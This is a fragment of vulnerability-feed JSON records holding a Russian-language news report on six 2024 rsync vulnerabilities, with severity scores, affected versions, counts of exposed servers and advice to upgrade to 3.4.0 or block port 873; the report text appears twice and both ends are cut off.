\u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "62de6b40-0999-44c3-b003-29a339353d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 